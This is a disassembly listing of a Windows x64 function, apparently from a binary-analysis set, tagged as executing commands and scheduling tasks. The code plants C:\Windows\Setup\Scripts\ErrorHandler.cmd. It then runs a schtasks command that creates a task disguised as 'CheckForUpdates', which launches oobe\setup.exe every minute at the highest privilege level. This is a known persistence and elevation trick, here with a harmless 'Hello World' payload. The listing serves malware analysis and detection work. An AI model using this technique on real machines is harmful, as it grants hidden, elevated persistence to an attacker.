Function at 0x140001290
Capabilities:
Execute command
Schedule task via schtasks

Disassembly:
mov qword [rsp + 8], rbx
push rbp
lea rbp, [rsp - 0xa0]
sub rsp, 0x1a0
mov rax, qword [0x140007040]
xor rax, rsp
mov qword [rbp + 0x90], rax
xor ebx, ebx
mov dword [rsp + 0x20], ebx
xor edx, edx
mov r8d, 0x108
lea rcx, [rbp - 0x80]
call sub.VCRUNTIME140.dll_memset
lea rax, [0x1400046a8]
mov qword [rbp - 0x80], rax
lea rcx, [rbp + 0x28]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::constructor_void____ptr64]
nop
mov dword [rsp + 0x20], 1
xor r9d, r9d
xor r8d, r8d
lea rdx, [rbp - 0x78]
lea rcx, [rbp - 0x80]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::constructor_class_std::basic_streambuf_char__struct_std::char_traits_char______ptr64__bool____ptr64]
nop
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, vtable.std::basic_ofstream_char__struct_std::char_traits_char__.0
mov qword [rbp + rcx - 0x80], rax
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea edx, [rcx - 0xa8]
mov dword [rsp + rcx + 0x7c], edx
lea rcx, [rbp - 0x78]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::constructor_void____ptr64]
lea rax, vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov qword [rbp - 0x78], rax
mov byte [rbp + 4], bl
mov byte [rbp - 7], bl
lea rcx, [rbp - 0x78]
call qword [sym.imp.MSVCP140.dll_protected:_void___cdecl_std::basic_streambuf_char__struct_std::char_traits_char__::_Init_void____ptr64]
mov qword [rbp + 8], rbx
mov rax, qword [0x140007950]
mov qword [rbp - 4], rax
mov qword [rbp - 0x10], rbx
lea rdx, str.C:WindowsSetupScriptsErrorHandler.cmd
lea rcx, [rbp - 0x80]
call fcn.140002270
lea rdx, str._echo_off
lea rcx, [rbp - 0x80]
call fcn.140002740
mov rcx, rax
lea rdx, [0x140002910]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.echo_Hello_World
lea rcx, [rbp - 0x80]
call fcn.140002740
mov rcx, rax
lea rdx, [0x140002910]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rdx, str.pause
lea rcx, [rbp - 0x80]
call fcn.140002740
mov rcx, rax
lea rdx, [0x140002910]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp - 0x78]
call fcn.140002650
test rax, rax
jne 0x1400013f7
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x80]
add rcx, rax
xor r8d, r8d
lea edx, [rbx + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
lea rdx, str.time.txt
lea rcx, [rbp - 0x80]
call fcn.140002270
xor ecx, ecx
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__time64]
mov qword [rsp + 0x58], rax
lea rdx, [rsp + 0x58]
lea rcx, [rsp + 0x30]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64_s]
mov edx, dword [rsp + 0x38]
lea rcx, [rbp - 0x80]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140004584]
call fcn.140002740
mov rcx, rax
mov edx, dword [rsp + 0x34]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140004584]
call fcn.140002740
mov rcx, rax
mov edx, dword [rsp + 0x30]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___int____ptr64]
mov rcx, rax
lea rdx, [0x140002910]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
lea rcx, [rbp - 0x78]
call fcn.140002650
test rax, rax
jne 0x1400014a4
mov rax, qword [rbp - 0x80]
movsxd rcx, dword [rax + 4]
lea rax, [rbp - 0x80]
add rcx, rax
xor r8d, r8d
lea edx, [r8 + 2]
call qword [sym.imp.MSVCP140.dll_public:_void___cdecl_std::basic_ios_char__struct_std::char_traits_char__::setstate_int__bool____ptr64]
mov qword [rsp + 0x68], rbx
mov ecx, 0x70
call fcn.140002c60
mov rcx, rax
mov qword [rsp + 0x60], rax
movdqa xmm0, xmmword [0x1400046d0]
movdqu xmmword [rsp + 0x70], xmm0
movaps xmm1, xmmword [str.schtasks__create__tn__CheckForUpdates___tr__C:WindowsSystem32oobe_setup.exe___sc_MINUTE__mo_1__rl_HIGHEST__f]
movups xmmword [rax], xmm1
movaps xmm0, xmmword [0x1400045a0]
movups xmmword [rax + 0x10], xmm0
movaps xmm1, xmmword [0x1400045b0]
movups xmmword [rax + 0x20], xmm1
movaps xmm0, xmmword [0x1400045c0]
movups xmmword [rax + 0x30], xmm0
movaps xmm1, xmmword [0x1400045d0]
movups xmmword [rax + 0x40], xmm1
movaps xmm0, xmmword [0x1400045e0]
movups xmmword [rax + 0x50], xmm0
movsd xmm0, qword [0x1400045f0]
movsd qword [rax + 0x60], xmm0
mov eax, dword [0x1400045f8]
mov dword [rcx + 0x68], eax
movzx eax, word [0x1400045fc]
mov word [rcx + 0x6c], ax
movzx eax, byte [0x1400045fe]
mov byte [rcx + 0x6e], al
mov byte [rcx + 0x6f], 0
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14000157f
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000157a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000157a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140002c9c
movdqa xmm0, xmmword [0x1400046c0]
movdqu xmmword [rsp + 0x70], xmm0
mov byte [rsp + 0x60], 0
lea rcx, [rbp - 0x80]
call fcn.1400015c0
xor eax, eax
mov rcx, qword [rbp + 0x90]
xor rcx, rsp
call fcn.140002c40
mov rbx, qword [rsp + 0x1b0]
add rsp, 0x1a0
pop rbp
ret